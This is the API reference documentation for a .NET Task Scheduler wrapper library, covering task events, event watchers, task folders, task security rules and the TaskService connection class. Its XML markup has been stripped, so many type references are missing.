Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for 